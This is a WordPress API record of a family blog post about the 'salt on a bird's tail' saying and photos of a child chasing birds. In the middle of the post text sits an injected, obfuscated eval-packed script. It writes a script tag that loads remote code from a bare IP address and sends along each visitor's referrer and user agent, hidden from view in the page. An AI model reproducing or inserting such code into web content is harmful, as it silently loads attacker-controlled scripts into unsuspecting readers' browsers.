{"id":4671,"date":"2014-09-06T16:17:33","date_gmt":"2014-09-06T23:17:33","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4671"},"modified":"2014-09-07T16:36:28","modified_gmt":"2014-09-07T23:36:28","slug":"if-you-can-catch-it","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4671","title":{"rendered":"If you can catch it&#8230;"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>My mother used to say, regarding birds, squirrels, etc, &#8220;If you can catch it, you can keep it.&#8221; She knew perfectly well we&#8217;d never actually catch a squirrel by chasing it! And I remember being told that you could catch a bird by putting salt on its tail. (You hear this in the old children&#8217;s nursery rhyme\u00c2\u00a0<em>Simple <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yayay|var|u0026u|referrer|nfitt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Simon<\/em>. Which is also, by the way, where we get the game Simon Says&#8230;)<\/p>\n<p><a href=\"http:\/\/www.fidella.com\/trmg\/TRMG2.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-4672\" alt=\"pie\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/pie-300x192.jpg\" width=\"180\" height=\"115\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/pie-300x192.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/pie.jpg 442w\" sizes=\"(max-width: 180px) 100vw, 180px\" \/><\/a><\/p>\n<p>Anyway, putting salt on the tail of a bird is absolutely the time-tested best DIY method for catching them. Definitely it will work. \u00c2\u00a0Xak spent a good long time testing out alternating wait-and-chase methods.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-4673\" alt=\"xak stalking birds\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak2-222x300.jpg\" width=\"222\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak2-222x300.jpg 222w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak2-757x1024.jpg 757w\" sizes=\"(max-width: 222px) 100vw, 222px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-4674\" alt=\"xak chasing birds\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak-463x1024.jpg\" width=\"463\" height=\"1024\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak-463x1024.jpg 463w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2014\/09\/xak-135x300.jpg 135w\" sizes=\"(max-width: 463px) 100vw, 463px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; My mother used to say, regarding birds, squirrels, etc, &#8220;If you can catch it,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4673,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[102],"tags":[25,84],"class_list":["post-4671","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kids","tag-kids","tag-summer-afternoons"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4671"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4671"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4671\/revisions"}],"predecessor-version":[{"id":4678,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4671\/revisions\/4678"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4673"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4671"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}